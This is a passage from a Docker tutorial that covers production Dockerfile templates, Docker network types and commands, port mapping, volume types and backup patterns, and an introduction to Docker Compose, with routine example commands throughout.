    PYTHONUNBUFFERED=1

LABEL maintainer="you@company.com" \
      description="FastAPI Production Image"

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY --chown=appuser:appgroup . .

USER appuser

EXPOSE 8000

HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \
  CMD curl -f http://localhost:8000/health || exit 1

CMD ["uvicorn", "main:app", \
     "--host", "0.0.0.0", \
     "--port", "8000", \
     "--workers", "4", \
     "--loop", "uvloop", \
     "--access-log"]

# ============================================
# requirements.txt must include:
# fastapi==0.109.0
# uvicorn[standard]==0.27.0
# uvloop==0.19.0
#
# main.py health endpoint:
# @app.get("/health")
# async def health(): return {"status": "healthy"}
# ============================================

Template 5: Next.js Production

# ============================================
# Next.js App — Production Dockerfile
# Features: Standalone output, optimized,
#           non-root, telemetry disabled
# Final size: ~100-150MB
# ============================================

FROM node:18-alpine AS base
RUN apk add --no-cache libc6-compat
WORKDIR /app

# ---- Stage 2: Dependencies ----
FROM base AS deps

COPY package*.json ./
RUN npm ci

# ---- Stage 3: Build ----
FROM base AS builder

COPY --from=deps /app/node_modules ./node_modules
COPY . .

ENV NEXT_TELEMETRY_DISABLED=1

# REQUIRED: next.config.js must have output: 'standalone'
RUN npm run build

# ---- Stage 4: Runner ----
FROM base AS runner

ENV NODE_ENV=production
ENV NEXT_TELEMETRY_DISABLED=1
ENV PORT=3000

LABEL maintainer="you@company.com" \
      description="Next.js Production Image"

RUN addgroup --system --gid 1001 nodejs && \
    adduser --system --uid 1001 nextjs

COPY --from=builder /app/public ./public

COPY --from=builder --chown=nextjs:nodejs /app/.next/standalone ./
COPY --from=builder --chown=nextjs:nodejs /app/.next/static ./.next/static

USER nextjs

EXPOSE 3000

HEALTHCHECK --interval=30s --timeout=3s --start-period=10s --retries=3 \
  CMD node -e "require('http').get('http://localhost:3000/api/health', r => \
    r.statusCode === 200 ? process.exit(0) : process.exit(1))"

CMD ["node", "server.js"]

# ============================================
# REQUIRED: next.config.js must include:
# const nextConfig = {
#   output: 'standalone',
# }
# module.exports = nextConfig
# ============================================

Caution: For Next.js Docker images, output: 'standalone' in next.config.js is required. Without it, the .next/standalone folder will not be created and COPY will fail.

Quick Reference: Which Template to Use

Project Type	Template	Final Size	Server
React (CRA, Vite)	Template 1	~25-30MB	Nginx
Node.js / Express / Fastify	Template 2	~80-120MB	Node + dumb-init
Python Flask (sync)	Template 3	~130-160MB	Gunicorn
Python FastAPI (async)	Template 4	~130-150MB	Uvicorn
Next.js (full-stack)	Template 5	~100-150MB	Node standalone

Note (Common Patterns in Every Template):

Non-root USER — mandatory for security

HEALTHCHECK — so Docker/Kubernetes knows container health

Multi-stage builds — build tools not in final image

Cache optimization — package.json first, source code second

Exec form CMD — proper signal handling

Specific versions — reproducible builds

LABEL metadata — for traceability

Networking Fundamentals

Why Containers Need Networking

By default, every container runs in an isolated environment — its own filesystem, its own process space, and its own network namespace. However, real-world applications require containers to communicate with each other, connect to external databases, and serve clients. Understanding Docker's networking model is therefore essential.

Scenarios that require networking:

Container-to-Container: A frontend container needs to communicate with a backend API
Container to External Services: An application container needs to connect to AWS RDS or a third-party API
External Clients to Containers: A browser sends a request and a container serves it
Multi-host Communication: Containers on different servers still communicate with each other (Overlay networks)

Container Networking Model (CNM)

Docker defines a standard networking architecture called the Container Networking Model (CNM). It has three core concepts:

Concept	Description	Real-World Analogy
Network	Isolated communication group where containers can talk to each other	An office floor — only people on that floor can communicate directly
Endpoint	A virtual NIC (network interface card) for a container on a network	An employee's desk phone extension
Sandbox	Container's isolated network namespace — its own IP, routing table, and DNS	An employee's complete communication profile

Note: libnetwork — Docker's Networking Brain. CNM is implemented by libnetwork — Docker's networking subsystem. It is written in Go and supports a pluggable driver architecture. This means you can use bridge, overlay, macvlan — any driver — on top of libnetwork.

Network Driver Architecture: libnetwork uses a plugin system. Built-in drivers include: bridge, host, none, overlay, and macvlan. Third-party drivers can also be installed (e.g., Weave, Calico).

Docker Networking Model — Architecture Overview

Internet traffic arrives at the host → is forwarded to the docker0 bridge → passes through to Container A on port 80 via host port 8080. Container A and Container B can communicate directly with each other using their 172.17.x.x IP addresses through the bridge.

Tip: veth Pair — The Magic Behind Container Networking. When Docker starts a container, it creates a virtual ethernet pair (veth) — like two ends of a virtual cable. One end lives inside the container (eth0) and the other end attaches to the docker0 bridge. Data flows seamlessly from one end to the other.

Network Types — Bridge, Host, None, Overlay, Macvlan

The docker0 bridge connects containers on the same host using private IPs; a published port (-p 8080:80) uses iptables NAT to forward external traffic from the host into a specific container.

Bridge Network — The Most Common

When you start a container without the --network flag, it automatically joins the default bridge network (docker0). However, the default bridge has a significant limitation — DNS resolution does not work!

Caution: Common Beginner Mistake — No DNS on Default Bridge! On the default bridge, containers cannot find each other by name — only by IP address. The IP address can change on every restart. Always use a user-defined bridge!

# Default bridge — no DNS!
docker run -d --name db mysql:8        # joins default bridge
docker run -d --name myapp myimage     # joins default bridge
# myapp CANNOT connect to "db" by hostname!
# Must use IP: mysql -h 172.17.0.2 (fragile!)

# User-defined bridge — DNS built-in!
docker network create mynetwork

docker run -d --name db --network mynetwork mysql:8
docker run -d --name myapp --network mynetwork myimage
# Now myapp can connect directly using the "db" hostname!
# MONGODB_URI=mongodb://db:27017/mydb  ← works!

# Create a user-defined bridge with options
docker network create \
  --driver bridge \
  --subnet 172.20.0.0/16 \
  --gateway 172.20.0.1 \
  my-custom-network

Feature	Default Bridge	User-Defined Bridge
DNS Resolution (by name)	No	Yes (container name!)
Automatic Discovery	No	Yes
Recommended?	Legacy only	Always use this
Network Isolation	All containers share it	Per-network isolation
Connect/disconnect from running container	No	Yes

Host Network — Maximum Performance

# Container shares the host's network namespace
docker run --network host nginx
# nginx now listens directly on host port 80
# -p flag is not needed (and does not work)

# Benefits:
# - Best performance: no NAT overhead
# - Low latency: direct kernel network stack access

# Drawbacks:
# - No isolation: container can see all host interfaces
# - Port conflicts: container and host services cannot share the same port

# Use cases:
# - High-performance networking applications
# - Monitoring agents (Prometheus node_exporter)
# - Network packet inspection tools

None Network — Complete Isolation

# No networking at all — completely isolated
docker run --network none myapp

# Inside the container:
# - No internet access
# - No communication with other containers
# - Only loopback (127.0.0.1) is available

# Use cases:
# - Batch data processing jobs (file input/output only)
# - Security-sensitive computations
# - Testing network-agnostic code
# - Malware analysis environments

Overlay Network — Multi-Host Communication (Swarm)

# Multi-host networking — containers on different servers communicate with each other
# Requires: Docker Swarm mode (or Kubernetes)

# Initialize Swarm mode
docker swarm init

# Create an overlay network
docker network create --driver overlay myoverlay

# Attachable overlay (standalone containers can join too)
docker network create --driver overlay --attachable myoverlay

# Uses VXLAN tunneling automatically
# Containers are unaware they are on different hosts!
# 10.0.0.2 (Server 1) <-> 10.0.0.3 (Server 2) — transparent!

Note: Overlay = VXLAN Tunneling. Inside an overlay network, Docker uses VXLAN (Virtual Extensible LAN) — one packet is wrapped inside another. A packet from a container on Server A is wrapped in UDP and sent to Server B, where it is unwrapped. Containers have no idea they are running on different machines.

Macvlan — Container as a Physical Device

# Container gets its own MAC address
# Appears on the network like a real physical device

docker network create \
  --driver macvlan \
  --subnet=192.168.1.0/24 \
  --gateway=192.168.1.1 \
  -o parent=eth0 \
  mymacvlan

docker run -d \
  --name legacy-app \
  --network mymacvlan \
  --ip 192.168.1.50 \
  my-legacy-app

# The router treats 192.168.1.50 as a physical machine!

# Use cases:
# - Legacy applications that expect direct network access
# - Migrating VMs to containers
# - Network monitoring tools

Note: Bridge vs Host Network. Bridge: Container has its own network namespace, communicates with the host via NAT, and requires port mapping. Host: Container shares the host's network namespace — no NAT, no port mapping, maximum performance. Use Bridge when isolation is required; use Host when performance is critical and isolation can be sacrificed.

Tip: Always Use User-Defined Bridges. Never use the default bridge network in production. Create a dedicated user-defined network for each application stack. This provides DNS resolution, isolation, and security all in one. Docker Compose automatically creates a user-defined network for each project.

Network Commands — Complete Reference

docker network ls — Listing Networks

# List all networks
docker network ls
# NETWORK ID     NAME      DRIVER    SCOPE
# a1b2c3d4e5f6   bridge    bridge    local
# f6e5d4c3b2a1   host      host      local
# 0000000000000   none      null      local

# Show full IDs
docker network ls --no-trunc

# Filter by driver
docker network ls --filter driver=bridge

# Filter by name
docker network ls --filter name=mynetwork

# Custom format
docker network ls --format "table {{.ID}}\t{{.Name}}\t{{.Driver}}\t{{.Scope}}"

docker network create — Creating a Network

# Simple bridge network
docker network create mynetwork

# Bridge with full options
docker network create \
  --driver bridge \
  --subnet 172.20.0.0/16 \
  --ip-range 172.20.240.0/20 \
  --gateway 172.20.0.1 \
  --label env=production \
  mynetwork

# Internal network (no external access)
# Containers cannot connect to the internet
docker network create --internal private-db-net

# Overlay network (in Swarm mode)
docker network create --driver overlay --attachable myoverlay

# Macvlan network
docker network create \
  --driver macvlan \
  --subnet=192.168.1.0/24 \
  --gateway=192.168.1.1 \
  -o parent=eth0 \
  mymacvlan

docker network inspect — Viewing Details

# Full JSON details
docker network inspect mynetwork

# Specific field — IPAM config
docker network inspect --format '{{.IPAM.Config}}' mynetwork

# Find the gateway
docker network inspect --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}' mynetwork

# List connected containers (requires jq)
docker network inspect mynetwork | jq '.[0].Containers'

# Most useful: which containers are on this network
docker network inspect mynetwork \
  --format '{{range .Containers}}{{.Name}}: {{.IPv4Address}}{{"\n"}}{{end}}'

docker network connect / disconnect — Runtime Changes

# Connect a running container to a new network
docker network connect mynetwork mycontainer

# Assign a specific IP
docker network connect --ip 172.20.0.100 mynetwork mycontainer

# Add an alias (other containers can reach this container via the alias)
docker network connect --alias db-primary mynetwork mycontainer

# Disconnect (container keeps running)
docker network disconnect mynetwork mycontainer

# Force disconnect
docker network disconnect --force mynetwork mycontainer

# Real use case: zero-downtime maintenance
# 1. Start new container on the new network
# 2. Gradually migrate old containers
# 3. Disconnect from the old network

Tip: Multiple Networks — One Container on Many Networks! A container can be connected to more than one network simultaneously. For example, a "gateway" container can be connected to the frontend network on one side and the backend network on the other. This is useful in DMZ architectures where you want to control traffic flow.

docker network rm / prune — Cleanup

# Remove a network (disconnect all containers first!)
docker network rm mynetwork
# Error: network mynetwork has active endpoints — if containers are attached

# Remove containers first, then the network
docker rm -f $(docker ps -q --filter network=mynetwork)
docker network rm mynetwork

# Remove multiple networks at once
docker network rm net1 net2 net3

# Remove all unused networks (none with connected containers)
docker network prune

# Skip confirmation prompt
docker network prune -f

# Filter by label before pruning
docker network prune --filter label=env=staging

Caution: docker network prune — Be Careful! This command deletes all "unused" networks — meaning any network not connected to at least one container. If you created a network for future use, it will be deleted too. Always run docker network ls before running prune in production.

Container-to-Container Communication

Real-World Example: MERN Stack Communication

Consider deploying a MERN (MongoDB, Express, React, Node) application. All three services need to communicate with each other. Here is how to set this up in Docker:

# Step 1: Create a dedicated network
docker network create mern-network

# Step 2: Start MongoDB first (others depend on it)
docker run -d \
  --name mongodb \
  --network mern-network \
  -v mongo_data:/data/db \
  mongo:7

# Step 3: Start the Node.js API
# Use "mongodb" as the hostname — Docker DNS resolves it!
docker run -d \
  --name api \
  --network mern-network \
  -e MONGODB_URI=mongodb://mongodb:27017/mydb \
  -e PORT=5000 \
  -p 5000:5000 \
  myapi:latest

# Step 4: Start the React frontend
# Use "api" as the hostname
docker run -d \
  --name frontend \
  --network mern-network \
  -e REACT_APP_API_URL=http://api:5000 \
  -p 3000:3000 \
  myfrontend:latest

# Communication flow:
# Browser → Host:3000 → frontend container
# frontend → api:5000 (DNS resolution via Docker) → api container
# api → mongodb:27017 (DNS resolution via Docker) → mongodb container

Testing DNS Resolution

# Test connectivity
docker exec frontend ping api -c 4
# PING api (172.20.0.3): 56 data bytes
# 64 bytes from 172.20.0.3: icmp_seq=0 ttl=64 time=0.089 ms

# DNS lookup
docker exec api nslookup mongodb
# Server:    127.0.0.11  <- Docker's built-in DNS server!
# Address 1: 127.0.0.11
# Name:      mongodb
# Address 1: 172.20.0.2 mongodb.mern-network

# Test HTTP connection
docker exec api wget -qO- http://mongodb:27017
# It looks like you are trying to access MongoDB over HTTP...
# (Connection succeeded — MongoDB responded)

# Test the API from the frontend using curl
docker exec frontend curl http://api:5000/health
# {"status":"ok","db":"connected"}

Note: 127.0.0.11 — Docker's Secret DNS Server. Whenever you use a user-defined network, Docker provides an embedded DNS server at 127.0.0.11 inside every container. It resolves container names to IP addresses. This happens automatically — no configuration required.

Service Discovery Patterns — Best Practices

Pattern	Example	When to Use
Container Name as Hostname	`mongodb://mongodb:27017`	Simple setups, same host
Docker Compose Service Name	`http://api:5000`	Compose-based deployments
Network Alias	`--network-alias db`	When the container name may change
Environment Variables	`DB_HOST=mongodb`	Externalizing configuration

Caution: Never Hardcode IPs! A very common mistake: MONGODB_URI=mongodb://172.17.0.2:27017. The IP can change when the container restarts. Always use the container name as the hostname: mongodb://mongodb:27017. The container name is stable; the IP is not.

Note: Production Pattern: Network Segmentation. In real production environments, create separate networks: frontend-net (frontend + API) and backend-net (API + database). The database will not be directly accessible from the frontend — only through the API. This is the Zero Trust networking principle. In Docker Compose, this is easily configured with the networks: key.

Port Management — EXPOSE vs -p vs -P

EXPOSE vs -p — Clearing the Confusion

This is a classic point of confusion for beginners. Both EXPOSE and -p deal with ports, but they serve different purposes.

# EXPOSE in Dockerfile — documentation only!
EXPOSE 3000
# This only says "this container listens on port 3000"
# It does NOT publish anything to the HOST
# Other containers can read this information via inspect

# -p flag: ACTUALLY publishes the port on the host
docker run -p 8080:3000 myapp
# host:8080 → container:3000
# Requests arriving at host port 8080 are forwarded to container port 3000

# -P flag (capital P): publish ALL EXPOSEd ports to random host ports
docker run -P myapp
# If Dockerfile has EXPOSE 3000 3306:
# Docker allocates: 32768:3000, 32769:3306 (random!)

# Check which port was assigned
docker port myapp
# 3000/tcp -> 0.0.0.0:32768

docker port myapp 3000
# 0.0.0.0:32768

Tip: Mnemonic: EXPOSE = Advertisement, -p = Actually Open the Door. EXPOSE is a "menu card" — it only describes what is available. The -p flag actually opens the door to the outside world. Without -p, services inside the container are not accessible from the host (though other containers on a custom network can still access them without port mapping).

Port Mapping Patterns

# 1. Specific mapping (most common)
docker run -p 8080:80 nginx          # Host 8080 → Container 80

# 2. Multiple ports
docker run -p 80:80 -p 443:443 nginx

# 3. Default binding: 0.0.0.0 (all interfaces)
docker run -p 8080:80 nginx
# Any IP can reach port 8080 and hit the container
# curl localhost:8080 works
# curl 192.168.1.100:8080 works (accessible on LAN too)

# 4. Bind to localhost only (security)
docker run -p 127.0.0.1:8080:80 nginx
# Only accessible from the same machine
# curl localhost:8080 works
# curl 192.168.1.100:8080 does not work

# 5. Random port on all interfaces
docker run -p 0.0.0.0::80 nginx
# Docker chooses a random high port
docker port <container> 80
# 0.0.0.0:49153

# 6. UDP port
docker run -p 53:53/udp my-dns-server

# 7. Range of ports
docker run -p 8000-8010:8000-8010 myapp

Handling Port Conflicts

# Error: Bind: address already in use
# docker: Error response from daemon: driver failed programming
# external connectivity on endpoint ...: Bind for 0.0.0.0:8080
# failed: port is already allocated

# Step 1: Find out who is using port 8080
sudo lsof -i :8080
sudo netstat -tulpn | grep 8080

# Step 2: Options:
# Option A: Use a different host port
docker run -p 9090:80 nginx

# Option B: Stop the conflicting process
sudo kill -9 <PID>

# Option C: Check if another Docker container is using the port
docker ps --format "table {{.Names}}\t{{.Ports}}" | grep 8080
docker stop old-nginx
docker run -p 8080:80 nginx

# Useful: view all mapped ports
docker ps --format "table {{.ID}}\t{{.Names}}\t{{.Ports}}"

Caution: Security: Bind to Localhost in Development. When you use -p 8080:80, Docker automatically adds an iptables rule — even if UFW or firewalld is disabled. This means the service may be accessible from the internet. In development, always use -p 127.0.0.1:8080:80 for sensitive services.

Note: EXPOSE vs -p — Interview Answer. EXPOSE is only metadata/documentation — it does not actually publish any port. The -p flag creates an actual port mapping at runtime between the host and container using iptables rules. EXPOSE without -p is useless for host access (though it does provide information to other containers within the network).

Storage Fundamentals — Why Persistence Matters

Containers Are Ephemeral — Data Is Lost!

The most important concept in storage: containers are ephemeral (temporary) by default. When a container is deleted, all its data is deleted too.

Caution: "The container was deleted and the data went with it!" — Classic Production Disaster. Imagine you started a MySQL container, added some data, and then accidentally ran docker rm -f mysql. The entire database is gone. This happens frequently in production. Solution: always use volumes for databases.

Container storage layers use a union filesystem (overlay2):

┌─────────────────────────────────────────┐
│  [Writable Layer]  ← Temporary!         │
│  The container's write area             │
│  Container deleted → THIS DATA IS GONE! │
├─────────────────────────────────────────┤
│  [App Layer]       ← Read-only          │
│  Your application code                  │
├─────────────────────────────────────────┤
│  [Base Image Layer] ← Read-only         │
│  ubuntu:22.04 or node:18 etc.           │
└─────────────────────────────────────────┘

# The bottom layers are part of the image — shared across containers!
# Only the writable layer is container-specific — and it is temporary

Storage Drivers — The Underlying Filesystem

Driver	Description	When to Use
overlay2	Default; uses Linux overlayfs	Almost always — best choice
devicemapper	Block device based	Legacy RHEL/CentOS (outdated)
btrfs	Btrfs filesystem	Only on Btrfs hosts
zfs	ZFS filesystem	Only on ZFS hosts
vfs	No layering, simple copy	Testing only — very slow

# Check the current storage driver
docker info | grep "Storage Driver"
# Storage Driver: overlay2

# Where does Docker store data?
/var/lib/docker/
  ├── containers/     # Per-container metadata, logs
  ├── image/          # Image metadata and manifests
  ├── overlay2/       # Image layers (most data is here!)
  ├── volumes/        # Named volumes
  └── network/        # Network configs

# Check sizes
sudo du -sh /var/lib/docker/*
# 1.2G    /var/lib/docker/overlay2   # Most data here!
# 200M    /var/lib/docker/volumes
# 50M     /var/lib/docker/containers

# Docker summary
docker system df
# TYPE            TOTAL     ACTIVE    SIZE      RECLAIMABLE
# Images          15        5         3.2GB     2.1GB (65%)
# Containers      8         3         120MB     90MB (75%)
# Local Volumes   5         2         1.1GB     500MB (45%)

# Detailed breakdown
docker system df -v

Tip: Copy-on-Write (CoW) — The Secret of Efficiency. overlay2 uses a Copy-on-Write strategy. If 10 containers use the same base image, the image layers are stored only once on disk. Only when a container writes something does it create its own copy of that file. This saves both disk space and startup time.

Note: Production Rule: Databases Always Need Volumes! MySQL, PostgreSQL, MongoDB, Redis — whenever you run any database in a container, volumes are MANDATORY. Without a volume, all data is permanently lost when the container crashes or restarts. This is the number one cause of production disasters.

Volume Types — Named, Bind Mount, tmpfs

Named Volumes — Production's Best Friend

Named volumes are Docker's managed volumes — Docker decides where to store the data (/var/lib/docker/volumes/). They survive container restarts and deletions.

# Create a volume
docker volume create mydata

# Use with -v syntax
docker run -v mydata:/app/data myapp

# Use with --mount syntax (recommended)
docker run --mount type=volume,source=mydata,target=/app/data myapp

# Use with a database
docker run -d \
  --name postgres \
  -v postgres_data:/var/lib/postgresql/data \
  postgres:16

# Delete the container — THE VOLUME STAYS SAFE!
docker rm -f postgres
docker volume ls
# postgres_data  ← Still there!

# Start a new container with the same volume — data is back!
docker run -d --name postgres-new -v postgres_data:/var/lib/postgresql/data postgres:16

Bind Mounts — Development's Superpower

With bind mounts, you specify the host path explicitly. This is extremely useful in development because your local changes are instantly reflected inside the container — without rebuilding!

# Specify the host path explicitly
docker run -v /home/pushkar/myproject:/app node:18

# Mount the current directory (most common in development!)
docker run -v $(pwd):/app node:18
# Edit code locally — changes appear inside the container immediately!
# Hot reload works!

# Node.js development example
docker run -d \
  --name dev-server \
  -v $(pwd):/app \
  -w /app \
  -p 3000:3000 \
  node:18 \
  npm run dev

# Read-only bind mount (for security — container cannot modify)
docker run -v /etc/nginx/conf:/etc/nginx/conf:ro nginx

# --mount syntax
docker run --mount type=bind,source=$(pwd),target=/app node:18
docker run --mount type=bind,source=/config,target=/config,readonly nginx

Tip: For React Developers: Bind Mount = Live Reload! docker run -v $(pwd):/app -p 3000:3000 node:18 npm start — edit code in VS Code and React hot reload fires automatically inside the container. No rebuild needed for each change. This is a game-changer for development workflow.

tmpfs Mounts — Sensitive Data In-Memory

# Stored in memory, never written to disk!
docker run --tmpfs /tmp nginx

# With a size limit
docker run --mount type=tmpfs,target=/tmp,tmpfs-size=100m myapp

# Multiple tmpfs locations
docker run \
  --tmpfs /tmp \
  --tmpfs /run \
  myapp

# Use cases:
# - Session data (passwords, tokens stored temporarily)
# - Sensitive computation results
# - Cache data that should never touch disk
# - High-speed temporary storage

# Container stops → data gone immediately (from RAM)
# Container crashes → data gone immediately
# Never persists to disk = more secure

Comparison — Which Type to Use When?

Feature	Named Volume	Bind Mount	tmpfs
Storage Location	/var/lib/docker/volumes	Any host path	Memory
Docker Managed	Yes	No	N/A
Data Persists	Yes	Yes	No (memory only)
Dev Workflow	OK	Best (hot reload!)	N/A
Production DB	Best	OK (path management)	Never
Easy Backup	Yes	Yes	No
Performance	Good	Best (NFS will be slow)	Excellent
Security	Container isolated	Host exposed	Most secure

Note: Named Volume vs Bind Mount — Interview Answer. Named Volume: Docker manages the location; it is portable, easy to back up, and best for production. Bind Mount: You control the specific host path; perfect for development (host files accessible directly in container), but path is host-specific — less portable. Prefer named volumes in production; use bind mounts in development for code changes.

Volume Commands — Complete Reference

docker volume create — Creating Volumes

# Simple named volume
docker volume create mydb-data

# Explicitly use the local driver (this is already the default)
docker volume create --driver local mydb-data

# NFS-backed volume (remote storage!)
docker volume create \
  --driver local \
  --opt type=nfs \
  --opt o=addr=192.168.1.100,rw,vers=4 \
  --opt device=:/exports/mydata \
  nfs-volume

# With labels (for management)
docker volume create \
  --label env=production \
  --label app=myapp \
  --label team=backend \
  mydb-data

# Volumes are automatically created if referenced in a run command
docker run -v newvolume:/data myapp
# "newvolume" is created automatically if it does not exist

docker volume ls, inspect, rm, prune

# List all volumes
docker volume ls
# DRIVER    VOLUME NAME
# local     mydb-data
# local     postgres_data
# local     mongo_data

# Find dangling volumes (not connected to any container)
docker volume ls -f dangling=true

# Filter by label
docker volume ls --filter label=env=production

# Inspect — full details
docker volume inspect mydb-data
# [
#   {
#     "Name": "mydb-data",
#     "Driver": "local",
#     "Mountpoint": "/var/lib/docker/volumes/mydb-data/_data",
#     "Labels": {"env": "production"},
#     ...
#   }
# ]

# Get only the mount path
docker volume inspect --format '{{.Mountpoint}}' mydb-data
# /var/lib/docker/volumes/mydb-data/_data

# Remove — stop the container first!
docker volume rm mydb-data
# Error: volume is in use — if a container is running

# Correct approach: remove the container first
docker rm -f mycontainer
docker volume rm mydb-data

# Remove multiple at once
# (Remove containers first, then volumes)
docker volume prune

# Skip confirmation
docker volume prune -f

# Filter by label before pruning
docker volume prune --filter label=env=staging

--mount vs -v Syntax — The Modern Way

# ─── OLD -v SYNTAX ──────────────────────────────────────
# Older style, still works, but less readable

# Named volume
docker run -v myvolume:/app/data myapp

# Bind mount
docker run -v /host/path:/container/path myapp

# Read-only bind mount
docker run -v /host/path:/container/path:ro myapp

# ─── NEW --mount SYNTAX ──────────────────────────────────
# Newer, explicit, recommended

# Named volume
docker run --mount type=volume,source=myvolume,target=/app/data myapp

# Bind mount
docker run --mount type=bind,source=/host/path,target=/app/path myapp

# Read-only bind mount
docker run --mount type=bind,source=/host/path,target=/app/path,readonly myapp

# tmpfs
docker run --mount type=tmpfs,target=/tmp,tmpfs-size=100m myapp

# Why --mount is better:
# - More explicit — type is clearly stated
# - Better error messages
# - Supports all options (tmpfs-size, etc.)
# - Recommended format in Docker Docs
# - More readable in scripts
# - Named parameters catch typos

Note: -v vs --mount: One Important Difference. A subtle distinction: -v /nonexistent:/data will cause Docker to automatically create the host directory (sometimes with the wrong type). --mount type=bind,source=/nonexistent,target=/data returns an error if the source does not exist. --mount is stricter and more predictable — which makes it better for production.

Caution: docker volume prune — Be Very Careful in Production! This command deletes "dangling" (unused) volumes. However, if you have temporarily stopped a container (intending to restore its data), its volume may be deleted too. In production, first run docker volume ls -f dangling=true to see which volumes are actually unused, then selectively use docker volume rm.

Production Volume Patterns — Real-World Usage

Database Persistence Patterns

PostgreSQL with Named Volume

# Step 1: Create the volume
docker volume create postgres_data

# Step 2: Run PostgreSQL with a proper production setup
docker run -d \
  --name postgres \
  -e POSTGRES_USER=admin \
  -e POSTGRES_PASSWORD=securepassword123 \
  -e POSTGRES_DB=myapp \
  -v postgres_data:/var/lib/postgresql/data \
  -p 127.0.0.1:5432:5432 \
  --restart unless-stopped \
  --health-cmd="pg_isready -U admin" \
  --health-interval=10s \
  postgres:16-alpine

# Verify
docker ps                                         # Check status and health
docker exec postgres psql -U admin -c "\l"        # List databases

MongoDB with Multiple Volumes

# MongoDB has two important paths:
# /data/db       — actual database files
# /data/configdb — configuration data

docker run -d \
  --name mongodb \
  -v mongo_data:/data/db \
  -v mongo_config:/data/configdb \
  -e MONGO_INITDB_ROOT_USERNAME=admin \
  -e MONGO_INITDB_ROOT_PASSWORD=securepass \
  -p 127.0.0.1:27017:27017 \
  --restart unless-stopped \
  mongo:7

# Verify
docker exec mongodb mongosh -u admin -p securepass --eval "db.adminCommand('listDatabases')"

Backup Strategies

# ─── VOLUME BACKUP (any type of data) ─────────────────────
# Use a temporary container — read the volume, create a tar archive
docker run --rm \
  -v mydb_data:/data \
  -v $(pwd)/backups:/backup \
  alpine \
  tar czf /backup/mydb-$(date +%Y%m%d-%H%M%S).tar.gz /data

# Creates a file in /backup: mydb-20240115-142030.tar.gz

# ─── VOLUME RESTORE ────────────────────────────────────────
docker run --rm \
  -v mydb_data:/data \
  -v $(pwd)/backups:/backup \
  alpine \
  tar xzf /backup/mydb-20240115-142030.tar.gz -C /

# ─── POSTGRES DUMP (recommended for PostgreSQL) ────────────
# Logical backup — portable and version-aware
docker exec postgres pg_dump -U admin myapp > backup-$(date +%Y%m%d).sql

# Restore
docker exec -i postgres psql -U admin myapp < backup-20240115.sql

# Compressed backup
docker exec postgres pg_dump -U admin myapp | gzip > backup.sql.gz

# Restore compressed
gunzip -c backup.sql.gz | docker exec -i postgres psql -U admin myapp

# ─── MONGODB DUMP ──────────────────────────────────────────
docker exec mongodb mongodump -u admin -p securepass --out /tmp/backup
docker cp mongodb:/tmp/backup ./mongodb-backup

# Restore
docker cp ./mongodb-backup mongodb:/tmp/backup
docker exec mongodb mongorestore -u admin -p securepass /tmp/backup

Shared Volumes Between Containers

# Pattern: one container writes, another reads
# No network communication required between them!
docker volume create shared-logs

# App container — writes logs
docker run -d \
  --name app1 \
  -v shared-logs:/var/log/app \
  myapp:latest

# Log viewer — read-only access to the same volume
docker run -d \
  --name log-viewer \
  -v shared-logs:/logs:ro \
  log-viewer-app:latest

# log-viewer can now read all of app1's logs
# No network communication needed!

# Real use case: Nginx serving React static files
docker volume create static-files

# Build container: build React, copy to volume
docker run --rm \
  -v static-files:/app/build \
  react-builder:latest

# Nginx container: serve files from the same volume
docker run -d \
  --name nginx \
  -v static-files:/usr/share/nginx/html:ro \
  -p 80:80 \
  nginx:alpine

Cloud Volume Drivers — AWS EBS, Azure Disk

# AWS EBS-backed volumes (rexray plugin)
# If the host is replaced, data remains safe on AWS EBS!

# Install the plugin
docker plugin install rexray/ebs \
  EBS_ACCESSKEY=AKIAIOSFODNN7EXAMPLE \
  EBS_SECRETKEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Create an EBS-backed volume
docker volume create \
  --driver rexray/ebs \
  --opt size=20 \
  --opt type=gp3 \
  --opt iops=3000 \
  myapp-data

# Use it — exactly like a regular volume
docker run -d \
  --name postgres \
  -v myapp-data:/var/lib/postgresql/data \
  postgres:16

# If the host crashes, detach and reattach the EBS volume to a new host
# Data is fully safe on AWS!

# For Azure: the cloudstor plugin is available
# For GCP: use the gcepd driver

Note: Production Reality: Cloud Volumes = True Persistence. Local named volumes are tied to the Docker host — if the host machine is lost, the volumes are gone (EBS is not). In real production, use AWS EFS/EBS, Azure Managed Disks, or GCP Persistent Disk via volume drivers. Or better yet, use managed databases (RDS, Atlas) — that is the preferred approach.

Tip: Volume Best Practices Summary.

Production databases: Named volumes or cloud-backed volumes (prefer RDS)

Development: Bind mounts for code, named volumes for databases

Secrets/session data: tmpfs

Backups: Automated cron + pg_dump/mongodump stored on separate storage

Never: Store critical data only in the container's writable layer

Also make sure your .env files are correctly structured — you can validate them with the .env Example Checker before deploying. Once your stack is wired up, put these skills to work with real scenarios in Hands-on DevOps Projects.

Docker Compose Introduction

One Compose file declares the full application stack; docker compose up creates all services on a shared network with automatic DNS so containers resolve each other by service name.

Why Docker Compose Exists

Real-world applications do not fit in a single container. A MERN stack application requires:

MongoDB — database
Express/Node — backend API
React — frontend (served via Nginx)
Redis — caching / sessions

Without Compose, everything must be managed manually:

# Without Compose — run all of this by hand!
docker network create myapp-net

docker run -d \
  --name mongodb \
  --network myapp-net \
  -e MONGO_INITDB_ROOT_USERNAME=admin \
  -e MONGO_INITDB_ROOT_PASSWORD=secret \
  -v mongo_data:/data/db \
  mongo:7.0

docker run -d \
  --name api \
  --network myapp-net \
  -e MONGODB_URI=mongodb://admin:secret@mongodb:27017/myapp \
  -p 5000:5000 \
  myapp-api:latest

docker run -d \
  --name frontend \
  --network myapp-net \
  -p 3000:80 \
  myapp-frontend:latest

# Repeat all of this on every restart...

Tip: Just as package.json lists all npm dependencies and npm install sets everything up — docker-compose.yml defines all your containers and docker compose up starts everything in one command.

With Compose, the same setup becomes:

# With Compose — just this!
docker compose up -d

# To shut everything down:
docker compose down

Convert an existing command with the Docker run → Compose converter.

Compose v1 vs Compose v2 — What Is the Difference?

Feature	Compose v1 (Old)	Compose v2 (Current)
Command	`docker-compose` (with dash)	`docker compose` (no dash!)
Installation	Separate Python binary	Built-in Docker plugin
Status	Deprecated (2023)	Active, standard
Performance	Slower	Faster (Go-based)
Features	Limited	Full feature set
2026 standard	Do not use	Use this!

